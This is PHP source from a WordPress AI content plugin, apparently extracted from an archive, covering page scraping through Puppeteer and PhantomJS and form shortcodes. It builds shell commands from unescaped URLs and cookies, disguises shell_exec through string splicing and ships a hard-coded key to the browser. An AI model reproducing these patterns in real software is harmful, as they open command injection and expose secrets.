if($scripter == '') { $scripter = 'default'; } if($local_storage == '') { $local_storage = 'default'; } if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = '60000'; } $phantomjs_proxcomm = '"null"'; if ($use_proxy == '1' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); $phantomjs_proxcomm = '"' . trim($prx[$randomness]); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { $phantomjs_proxcomm .= '~~~' . trim($prx_auth[$randomness]); } } $phantomjs_proxcomm .= '"'; } $puppeteer_comm = 'node '; $puppeteer_comm .= '"' . dirname(__FILE__) . '/res/puppeteer/puppeteer.js" "' . $url . '" ' . $phantomjs_proxcomm . ' "' . $custom_user_agent . '" "' . $custom_cookies . '" "' . $user_pass . '" "' . $phantomjs_timeout . '" "' . $timeout . '" "' . addslashes($scripter) . '" "' . addslashes($local_storage) . '"'; $puppeteer_comm .= ' 2>&1'; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Puppeteer command: ' . $puppeteer_comm); } $shefunc = trim(' s ') . trim(' h ') . 'ell' . '_exec'; $cmdResult = $shefunc($puppeteer_comm); if($cmdResult === NULL || $cmdResult == '') { aiomatic_log_to_file('puppeteer did not return usable info for: ' . $url); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(trim($cmdResult) === 'timeout') { aiomatic_log_to_file('puppeteer timed out while getting page: ' . $url. ' - please increase timeout in Settings'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'Error: Cannot find module \'puppeteer\'') !== false) { aiomatic_log_to_file('puppeteer not found on server: ' . $cmdResult); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'sh: node: command not found') !== false || stristr($cmdResult, 'throw err;') !== false) { aiomatic_log_to_file('nodeJS not found, please install it on your server'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'sh: puppeteer: command not found') !== false) { aiomatic_log_to_file('puppeteer not found, please install it on your server'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'process.on(\'unhandledRejection\', up => { throw up })') !== false) { aiomatic_log_to_file('puppeteer failed to download resource: ' . $url . ' - error: ' . $cmdResult); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'Unhandled Rejection, reason: { TimeoutError') !== false) { aiomatic_log_to_file('puppeteer failed to download resource: ' . $url . ' - timeout error: ' . $cmdResult); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'res/puppeteer/puppeteer.js:') !== false) { aiomatic_log_to_file('puppeteer failed to run, error: ' . $cmdResult); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { //aiomatic_log_to_file('Downloaded site (Puppeteer): ' . $url . ' -- ' . esc_html($cmdResult)); } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return $cmdResult; } function aiomatic_get_page_PhantomJS($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $phantom_wait, $request_delay, $scripter, $local_storage) { if(!function_exists('shell' . '_exec')) { aiomatic_log_to_file('shell_' . 'exec not found, cannot run'); return false; } $disabled = explode(',', ini_get('disable_functions')); if(in_array('shell' . '_exec', $disabled)) { aiomatic_log_to_file('shell' . '_exec disabled, cannot run'); return false; } if($custom_user_agent == 'none') { $custom_user_agent = ''; } elseif($custom_user_agent == '') { $custom_user_agent = aiomatic_get_random_user_agent(); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if ($request_delay != '') { if(stristr($request_delay, ',') !== false) { $tempo = explode(',', $request_delay); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($request_delay))) { $delay = intval(trim($request_delay)); } } } if($delay != '' && is_numeric($delay)) { $GLOBALS['wp_object_cache']->delete('aiomatic_last_time', 'options'); $last_time = get_option('aiomatic_last_time', false); if($last_time !== false && intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000) > 0) { $sleep_time = intval(((intval($last_time) - time()) * 1000 + $delay ) * 1000); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Delay between requests set(9), waiting ' . ($sleep_time/1000) . ' ms'); } if($sleep_time < 21600000) { usleep($sleep_time); } } } if (isset($aiomatic_Main_Settings['phantom_path']) && $aiomatic_Main_Settings['phantom_path'] != '') { $phantomjs_comm = $aiomatic_Main_Settings['phantom_path']; } else { $phantomjs_comm = 'phantomjs'; } if (isset($aiomatic_Main_Settings['phantom_timeout']) && $aiomatic_Main_Settings['phantom_timeout'] != '') { $phantomjs_timeout = ((int)$aiomatic_Main_Settings['phantom_timeout']); } else { $phantomjs_timeout = '60000'; } if($custom_user_agent == '') { $custom_user_agent = 'default'; } if($custom_cookies == '') { $custom_cookies = 'default'; } if($user_pass == '') { $user_pass = 'default'; } if($scripter == '') { $scripter = 'default'; } if($local_storage == '') { $local_storage = 'default'; } if ($use_proxy == '1' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); $phantomjs_comm .= ' --proxy=' . trim($prx[$randomness]); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { $phantomjs_comm .= ' --proxy-auth=' . trim($prx_auth[$randomness]); } } } $phantomjs_comm .= ' --ignore-ssl-errors=true '; $phantomjs_comm .= '"' . dirname(__FILE__) . '/res/phantomjs/phantom.js" "' . $url . '" "' . esc_html($phantomjs_timeout) . '" "' . $custom_user_agent . '" "' . $custom_cookies . '" "' . $user_pass . '" "' . esc_html($phantom_wait) . '" "' . addslashes($scripter) . '" "' . addslashes($local_storage) . '"'; $phantomjs_comm .= ' 2>&1'; if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('PhantomJS command: ' . $phantomjs_comm); } $shefunc = trim(' s ') . trim(' h ') . 'ell' . '_exec'; $cmdResult = $shefunc($phantomjs_comm); if($cmdResult === NULL || $cmdResult == '') { aiomatic_log_to_file('phantomjs did not return usable info for: ' . $url); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(trim($cmdResult) === 'timeout') { aiomatic_log_to_file('phantomjs timed out while getting page: ' . $url. ' - please increase timeout in Settings'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if(stristr($cmdResult, 'sh: phantomjs: command not found') !== false) { aiomatic_log_to_file('phantomjs not found, please install it on your server'); if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return false; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { //aiomatic_log_to_file('Downloaded site (PhantomJS): ' . $url . ' -- ' . esc_html($cmdResult)); } if($delay != '' && is_numeric($delay)) { update_option('aiomatic_last_time', time()); } return $cmdResult; } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������aiomatic-shortcodes-file.php������������������������������������������������������������������������0000644�����������������00001630533�14757771437�0012174 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php defined('ABSPATH') or die(); add_shortcode('aicontent', 'aiomatic_resolve_aicontent'); function aiomatic_resolve_aicontent($atts, $cont, $tagx) { $retme = ''; extract( shortcode_atts( array ( 'model' => '' ), $atts ) ); if(!aiomatic_validate_activation()) { return; } if($cont != '') { $all_models = aiomatic_get_all_models(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($model) || !in_array($model, $all_models)) { if (isset($aiomatic_Main_Settings['aicontent_model']) && trim($aiomatic_Main_Settings['aicontent_model']) != '') { $model = trim($aiomatic_Main_Settings['aicontent_model']); } else { $model = get_default_model_name($aiomatic_Main_Settings); } } if (isset($aiomatic_Main_Settings['aicontent_assistant_id']) && trim($aiomatic_Main_Settings['aicontent_assistant_id']) != '') { $aicontent_assistant_id = trim($aiomatic_Main_Settings['aicontent_assistant_id']); } else { $aicontent_assistant_id = ''; } if (isset($aiomatic_Main_Settings['aicontent_temperature']) && trim($aiomatic_Main_Settings['aicontent_temperature']) != '') { $temperature = floatval($aiomatic_Main_Settings['aicontent_temperature']); } else { $temperature = 1; } if (isset($aiomatic_Main_Settings['aicontent_top_p']) && trim($aiomatic_Main_Settings['aicontent_top_p']) != '') { $top_p = floatval($aiomatic_Main_Settings['aicontent_top_p']); } else { $top_p = 1; } if (isset($aiomatic_Main_Settings['aicontent_presence_penalty']) && trim($aiomatic_Main_Settings['aicontent_presence_penalty']) != '') { $presence_penalty = floatval($aiomatic_Main_Settings['aicontent_presence_penalty']); } else { $presence_penalty = 0; } if (isset($aiomatic_Main_Settings['aicontent_frequency_penalty']) && trim($aiomatic_Main_Settings['aicontent_frequency_penalty']) != '') { $frequency_penalty = floatval($aiomatic_Main_Settings['aicontent_frequency_penalty']); } else { $frequency_penalty = 0; } $max_tokens = aiomatic_get_max_tokens($model); $prompt = trim($cont); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens < AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $prompt = aiomatic_substr($prompt, 0, $string_len); $prompt = trim($prompt); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = $max_tokens - $query_token_count; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $aicontent_assistant_id . '/' . $model . ') for aicontent WP shortcode text generator: ' . $prompt); } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'WPAicontentShortcode', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $aicontent_assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Failed to generate WP AI content: ' . $aierror); } else { $retme = trim(trim(trim(trim($generated_text), '.'), ' "\'')); } } } return $retme; } function aiomatic_replace_shortcode_with_content($post_id) { if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) { return; } if (isset($_POST['post_type']) && 'page' == $_POST['post_type']) { if (!current_user_can('access_aiomatic_menu', $post_id)) { return; } } else { if (!current_user_can('access_aiomatic_menu', $post_id)) { return; } } $post = get_post($post_id); if($post !== null) { $content = $post->post_content; if (has_shortcode($content, 'aicontent')) { $content = do_shortcode($content); remove_action('save_post', 'aiomatic_replace_shortcode_with_content'); wp_update_post(array( 'ID' => $post_id, 'post_content' => $content )); add_action('save_post', 'aiomatic_replace_shortcode_with_content'); } } } add_action('save_post', 'aiomatic_replace_shortcode_with_content'); add_shortcode('aiomatic-user-remaining-credits-text', 'aiomatic_remaining_credits'); function aiomatic_remaining_credits($atts) { $current_user = wp_get_current_user(); if ( !($current_user instanceof WP_User) || !is_user_logged_in()) { $returnme = esc_html__('Please log in to your account to see usage info.', 'aiomatic-automatic-ai-content-writer'); return $returnme; } else { $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); return $GLOBALS['aiomatic_stats']->get_limits( $aiomatic_Limit_Settings ); } } add_shortcode('aiomatic-form', 'aiomatic_editable_form_shortcode'); function aiomatic_editable_form_shortcode($atts) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $returnme = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(isset($atts) && is_array($atts) && isset($atts['id']) && !empty($atts['id'])) { $aiomatic_item_id = sanitize_text_field($atts['id']); $my_post = array(); $my_post['post__in'] = array($aiomatic_item_id); $my_post['post_type'] = 'aiomatic_forms'; $aiomatic_item = get_posts($my_post); if($aiomatic_item === null || !isset($aiomatic_item[0])) { $returnme = esc_html__('Form ID not found in the database!', 'aiomatic-automatic-ai-content-writer'); return $returnme; } else { $aiomatic_item_id .= aiomatic_gen_uid(); $submit_location = '1'; if (isset($aiomatic_Main_Settings['submit_location']) && $aiomatic_Main_Settings['submit_location'] != '') { $submit_location = $aiomatic_Main_Settings['submit_location']; } $submit_align = 'aiomatic-prompt-flex-center'; if (isset($aiomatic_Main_Settings['submit_align']) && $aiomatic_Main_Settings['submit_align'] != '') { if($aiomatic_Main_Settings['submit_align'] == '2') { $submit_align = 'aiomatic-plain-center'; } elseif($aiomatic_Main_Settings['submit_align'] == '3') { $submit_align = 'aiomatic-plain-right'; } } if (isset($aiomatic_Main_Settings['max_len']) && $aiomatic_Main_Settings['max_len'] != '') { $max_len = trim($aiomatic_Main_Settings['max_len']); } else { $max_len = ''; } if (isset($aiomatic_Main_Settings['min_len']) && $aiomatic_Main_Settings['min_len'] != '') { $min_len = trim($aiomatic_Main_Settings['min_len']); } else { $min_len = ''; } $user_id = '0'; if(!empty($user_token_cap_per_day)) { $user_id = get_current_user_id(); } $name = md5(get_bloginfo()); wp_register_style($name . '-form-end-style', plugins_url('styles/form-end.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-form-end-style'); $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden}'; if (isset($aiomatic_Main_Settings['back_color']) && $aiomatic_Main_Settings['back_color'] != '') { $reg_css_code .= '.aiomatic-prompt-item{background-color:' . trim($aiomatic_Main_Settings['back_color']) . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}'; } if (isset($aiomatic_Main_Settings['text_color']) && $aiomatic_Main_Settings['text_color'] != '') { $reg_css_code .= '.aiomatic-prompt-item{color:' . trim($aiomatic_Main_Settings['text_color']) . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}'; } if (isset($aiomatic_Main_Settings['but_color']) && $aiomatic_Main_Settings['but_color'] != '') { $reg_css_code .= '.aiomatic-generate-button{background:' . trim($aiomatic_Main_Settings['but_color']) . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}.aiomatic-get-button{background:' . trim($aiomatic_Main_Settings['but_color']) . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}'; } if (isset($aiomatic_Main_Settings['btext_color']) && $aiomatic_Main_Settings['btext_color'] != '') { $reg_css_code .= '.aiomatic-generate-button{color:' . trim($aiomatic_Main_Settings['btext_color']) . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}.aiomatic-get-button{color:' . trim($aiomatic_Main_Settings['btext_color']) . ((isset($aiomatic_Main_Settings['not_important']) && $aiomatic_Main_Settings['not_important'] === 'on') ? ';' : '!important;') . '}'; } if($reg_css_code != '') { wp_add_inline_style( $name . '-form-end-style', $reg_css_code ); } $aiomatic_item = $aiomatic_item[0]; $title = $aiomatic_item->post_title; $description = $aiomatic_item->post_content; $type = get_post_meta($aiomatic_item->ID, 'type', true); if($type != 'text' && $type != 'image' && $type != 'image-new' && $type != 'image-mid' && $type != 'image2') { $type = 'text'; } $prompt = get_post_meta($aiomatic_item->ID, 'prompt', true); $model = get_post_meta($aiomatic_item->ID, 'model', true); $assistant_id = get_post_meta($aiomatic_item->ID, 'assistant_id', true); $header = get_post_meta($aiomatic_item->ID, 'header', true); $editor = get_post_meta($aiomatic_item->ID, 'editor', true); $advanced = get_post_meta($aiomatic_item->ID, 'advanced', true); $submit = get_post_meta($aiomatic_item->ID, 'submit', true); $max = get_post_meta($aiomatic_item->ID, 'max', true); $temperature = get_post_meta($aiomatic_item->ID, 'temperature', true); $streaming_enabled = get_post_meta($aiomatic_item->ID, 'streaming_enabled', true); $stream_url_claude = esc_html(add_query_arg(array( 'aiomatic_claude_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); $stream_url = esc_html(add_query_arg(array( 'aiomatic_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); $image_placeholder = plugins_url('images/loading.gif', __FILE__); wp_enqueue_script('jquery'); wp_register_script($name . '-forms-front-script', plugins_url('scripts/forms-front.js', __FILE__), false, AIOMATIC_MAJOR_VERSION ); wp_enqueue_script($name . '-forms-front-script' ); wp_localize_script($name . '-forms-front-script', 'aiomatic_completition_ajax_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'persistentnonce' => wp_create_nonce('openai-persistent-nonce'), 'user_id' => $user_id, 'max_len' => $max_len, 'min_len' => $min_len, 'stream_url' => $stream_url, 'stream_url_claude' => $stream_url_claude, 'claude_models' => AIOMATIC_CLAUDE_MODELS, 'google_models' => AIOMATIC_GOOGLE_MODELS, 'huggingface_models' => aiomatic_get_huggingface_models(), 'image_placeholder' => $image_placeholder, 'secretkey' => 'NDUPPe+cr2Cs2AYiN+JaoBH60cbleu6c' )); if($temperature === '') { $temperature = 0; } else { $temperature = floatval($temperature); } $topp = get_post_meta($aiomatic_item->ID, 'topp', true); if($topp === '') { $topp = 0; } else { $topp = floatval($topp); } $presence = get_post_meta($aiomatic_item->ID, 'presence', true); if($presence === '') { $presence = 0; } else { $presence = floatval($presence); } $frequency = get_post_meta($aiomatic_item->ID, 'frequency', true); if($frequency === '') { $frequency = 0; } else { $frequency = floatval($frequency); } $response = get_post_meta($aiomatic_item->ID, 'response', true); $aiomaticfields = get_post_meta($aiomatic_item->ID, '_aiomaticfields', true); if(!is_array($aiomaticfields)) { $aiomaticfields = array(); } $aiomaticfields = array_values($aiomaticfields); wp_enqueue_editor(); ob_start(); ?> <div id="aiomatic-prompt-item-<?php echo esc_html($aiomatic_item->ID);?>" class="aiomatic-prompt-item aiomatic-prompt-item<?php echo esc_html($aiomatic_item_id);?>"> <div id="aiomatic-prompt-head-<?php echo esc_html($aiomatic_item->ID);?>" class="aiomatic-prompt-head aiomatic-prompt-head<?php echo esc_html($aiomatic_item_id); echo $header === 'hide' ? ' aiomatic-hidden-form':'';?>"> <div> <strong id="aiomatic_title<?php echo esc_html($aiomatic_item_id);?>" class="aiomatic_title aiomatic_title<?php echo esc_html($aiomatic_item_id);?>"><?php echo esc_html($title);?></strong> <?php if(!empty($description)){ echo '<p class="aiomatic_desc aiomatic_desc' . esc_html($aiomatic_item_id) . '">' . esc_html($description) . '</p>'; } ?> </div> </div> <?php if($submit_location == '2') { ?> <br/> <div id="aiomatic-button-wrap-<?php echo esc_html($aiomatic_item->ID);?>" class="<?php echo $submit_align;?>"> <button class="aiomatic-button aiomatic-generate-button aiomatic-generate-button<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-generate-button<?php echo esc_html($aiomatic_item_id);?>" data-id="<?php echo esc_html($aiomatic_item_id);?>"><span class="button__text button__text<?php echo esc_html($aiomatic_item_id);?>"><?php echo esc_html($submit);?></span></button> </div> <?php } ?> <div id="aiomatic-prompt-content-<?php echo esc_html($aiomatic_item->ID);?>" class="aiomatic-prompt-content aiomatic-prompt-content<?php echo esc_html($aiomatic_item_id);?>"> <form method="post" action="" class="aiomatic-prompt-form aiomatic-prompt-form<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-prompt-form<?php echo esc_html($aiomatic_item_id);?>"> <div id="aiomatic-info-holder-<?php echo esc_html($aiomatic_item->ID);?>" class="aiomatic-mb-10 aiomatic-mb-10<?php echo esc_html($aiomatic_item_id);?>"> <?php $encryptedData = aiomatic_simpleEncryptWithKey($prompt, 'NDUPPe+cr2Cs2AYiN+JaoBH60cbleu6c'); ?> <input type="hidden" name="aiomatic-prompt" id="aiomatic-prompt<?php echo esc_html($aiomatic_item_id);?>" value="<?php echo esc_html($encryptedData);?>"> <input type="hidden" name="aiomatic-type" id="aiomatic-form-type<?php echo esc_html($aiomatic_item_id);?>" value="<?php echo esc_html($type);?>"> <?php if($aiomaticfields && is_array($aiomaticfields) && count($aiomaticfields)) { foreach($aiomaticfields as $key => $aiomatic_field){ ?> <div class="aiomatic-form-field aiomatic-form-field<?php echo esc_html($aiomatic_item_id);?>"> <?php if(isset($aiomatic_field['label']) && $aiomatic_field['label'] != ''){echo '<label><strong>' . esc_html($aiomatic_field['label']) . '</strong></label><br/>';}?> <?php if(isset($aiomatic_field['type'])) { $value = ''; if(isset($aiomatic_field['value'])) { $value = $aiomatic_field['value']; } if($aiomatic_field['type'] == 'select') { $aiomatic_field_options = []; if(isset($aiomatic_field['options']) && is_string($aiomatic_field['options'])){ $aiomatic_field_options = preg_split('/\r\n|\r|\n/', trim($aiomatic_field['options'])); } else { if(isset($aiomatic_field['options']) && is_array($aiomatic_field['options'])){ $aiomatic_field_options = $aiomatic_field['options']; } } ?> <select class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" <?php if($aiomatic_field['required'] == 'yes'){echo ' required data-required="yes" ';}?> id="aiomatic-form-field<?php echo esc_html($aiomatic_item_id);?>-<?php echo esc_html($key)?>" name="<?php echo esc_html($aiomatic_field['id'])?>" aiomatic-name="<?php echo esc_html($aiomatic_field['id'])?>" data-label="<?php echo esc_html($aiomatic_field['label'])?>" data-type="<?php echo esc_html($aiomatic_field['type'])?>" data-min="" data-max=""> <?php foreach($aiomatic_field_options as $aiomatic_field_option){ echo '<option value="'.esc_html($aiomatic_field_option).'"'; if($value == $aiomatic_field_option) { echo ' selected'; } echo '>'.esc_html($aiomatic_field_option).'</option>'; } ?> </select> <?php } elseif($aiomatic_field['type'] == 'checkbox' || $aiomatic_field['type'] == 'radio') { $aiomatic_field_options = []; if(isset($aiomatic_field['options']) && is_string($aiomatic_field['options'])){ $aiomatic_field_options = preg_split('/\r\n|\r|\n/', trim($aiomatic_field['options'])); } else { if(isset($aiomatic_field['options']) && is_array($aiomatic_field['options'])){ $aiomatic_field_options = $aiomatic_field['options']; } } ?> <div id="aiomatic-form-field<?php echo esc_html($aiomatic_item_id);?>-<?php echo esc_html($key)?>"> <?php foreach($aiomatic_field_options as $aiomatic_field_option): ?> <label><input class="aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" name="<?php echo esc_html($aiomatic_field['id']).($aiomatic_field['type'] == 'checkbox' ? '[]':'')?>" aiomatic-name="<?php echo esc_html($aiomatic_field['id'])?>" value="<?php echo esc_html($aiomatic_field_option)?>" type="<?php echo esc_html($aiomatic_field['type'])?>"<?php if($value == $aiomatic_field_option){echo ' checked';}?>> <?php echo esc_html($aiomatic_field_option)?></label>    <?php endforeach; ?> </div> <?php } elseif($aiomatic_field['type'] == 'textarea') { ?> <textarea <?php if(isset($aiomatic_field['limit']) && !empty($aiomatic_field['limit'])){echo 'data-limit="' . esc_html($aiomatic_field['limit']) . '"';}else{echo 'data-limit=""';} if(isset($aiomatic_field['placeholder']) && !empty($aiomatic_field['placeholder'])){echo 'placeholder="' . esc_html($aiomatic_field['placeholder']) . '"';} echo isset($aiomatic_field['rows']) && !empty($aiomatic_field['rows']) ? ' rows="'.esc_html($aiomatic_field['rows']).'"': '';?><?php echo isset($aiomatic_field['cols']) && !empty($aiomatic_field['cols']) ? ' rows="'.esc_html($aiomatic_field['cols']).'"': ''; if($aiomatic_field['required'] == 'yes'){echo ' required data-required="yes" ';}?> id="aiomatic-form-field<?php echo esc_html($aiomatic_item_id);?>-<?php echo esc_html($key)?>" name="<?php echo esc_html($aiomatic_field['id'])?>" aiomatic-name="<?php echo esc_html($aiomatic_field['id'])?>" class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" data-label="<?php echo esc_html($aiomatic_field['label'])?>" data-type="<?php echo esc_html($aiomatic_field['type'])?>" type="<?php echo esc_html($aiomatic_field['type'])?>" data-min="" data-max=""><?php if(!empty($value)){echo esc_textarea($value);}?></textarea> <?php } elseif($aiomatic_field['type'] == 'number') { ?> <input <?php if(isset($aiomatic_field['limit']) && !empty($aiomatic_field['limit'])){echo 'data-limit="' . esc_html($aiomatic_field['limit']) . '"';}else{echo 'data-limit=""';} if(isset($aiomatic_field['placeholder']) && !empty($aiomatic_field['placeholder'])){echo 'placeholder="' . esc_html($aiomatic_field['placeholder']) . '"';} if($aiomatic_field['required'] == 'yes'){echo ' required data-required="yes" ';}?> id="aiomatic-form-field<?php echo esc_html($aiomatic_item_id);?>-<?php echo esc_html($key)?>" name="<?php echo esc_html($aiomatic_field['id'])?>" class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" aiomatic-name="<?php echo esc_html($aiomatic_field['id'])?>" data-label="<?php echo esc_html($aiomatic_field['label'])?>" data-type="<?php echo esc_html($aiomatic_field['type'])?>" type="<?php echo esc_html($aiomatic_field['type'])?>" data-min="<?php echo isset($aiomatic_field['min']) ? esc_html($aiomatic_field['min']) : ''?>" min="<?php echo isset($aiomatic_field['min']) ? esc_html($aiomatic_field['min']) : ''?>" data-max="<?php echo isset($aiomatic_field['max']) ? esc_html($aiomatic_field['max']) : ''?>" max="<?php echo isset($aiomatic_field['max']) ? esc_html($aiomatic_field['max']) : ''?>"<?php if(!empty($value)){echo ' value="' . esc_attr($value) . '"';}?>> <?php } elseif($aiomatic_field['type'] == 'html') { $aiomatic_field_options = []; if(isset($aiomatic_field['options']) && is_string($aiomatic_field['options'])){ $aiomatic_field_options = preg_split('/\r\n|\r|\n/', trim($aiomatic_field['options'])); } else { if(isset($aiomatic_field['options']) && is_array($aiomatic_field['options'])){ $aiomatic_field_options = $aiomatic_field['options']; } } foreach($aiomatic_field_options as $aiomatic_field_option){ echo $aiomatic_field_option; } } else { ?> <input <?php if(isset($aiomatic_field['limit']) && !empty($aiomatic_field['limit'])){echo 'data-limit="' . esc_html($aiomatic_field['limit']) . '"';}else{echo 'data-limit=""';} if(isset($aiomatic_field['placeholder']) && !empty($aiomatic_field['placeholder'])){echo 'placeholder="' . esc_html($aiomatic_field['placeholder']) . '"';} if($aiomatic_field['required'] == 'yes'){echo ' required data-required="yes" ';}?> id="aiomatic-form-field<?php echo esc_html($aiomatic_item_id);?>-<?php echo esc_html($key)?>" name="<?php echo esc_html($aiomatic_field['id'])?>" class="aiomatic-form-input aiomatic-form-input<?php echo esc_html($aiomatic_item_id);?>" aiomatic-name="<?php echo esc_html($aiomatic_field['id'])?>" data-label="<?php echo esc_html($aiomatic_field['label'])?>" data-type="<?php echo esc_html($aiomatic_field['type'])?>" type="<?php if($aiomatic_field['type'] == 'scrape'){echo 'url';}else{echo esc_html($aiomatic_field['type']);}?>" data-min="" data-max=""<?php if(!empty($value)){echo ' value="' . esc_attr($value) . '"';}?>> <?php } } ?> </div> <?php } } ?> <div id="openai-response<?php echo esc_html($aiomatic_item_id);?>"></div> <?php if($submit_location == '1') { ?> <div id="aiomatic-button-wrap-<?php echo esc_html($aiomatic_item->ID);?>" class="<?php echo $submit_align;?>"> <button class="aiomatic-button aiomatic-generate-button aiomatic-generate-button<?php echo esc_html($aiomatic_item_id);?>" id="aiomatic-generate-button<?php echo esc_html($aiomatic_item_id);?>" data-id="<?php echo esc_html($aiomatic_item_id);?>"><span class="button__text button__text<?php echo esc_html($aiomatic_item_id);?>"><?php echo esc_html($submit);?></span></button> </div> <?php } ?> </div> <div id="aiomatic-response-holder-<?php echo esc_html($aiomatic_item->ID);?>" class="mb-5"> <?php if($type === 'text') { if ((isset($aiomatic_Main_Settings['show_rich_editor']) && 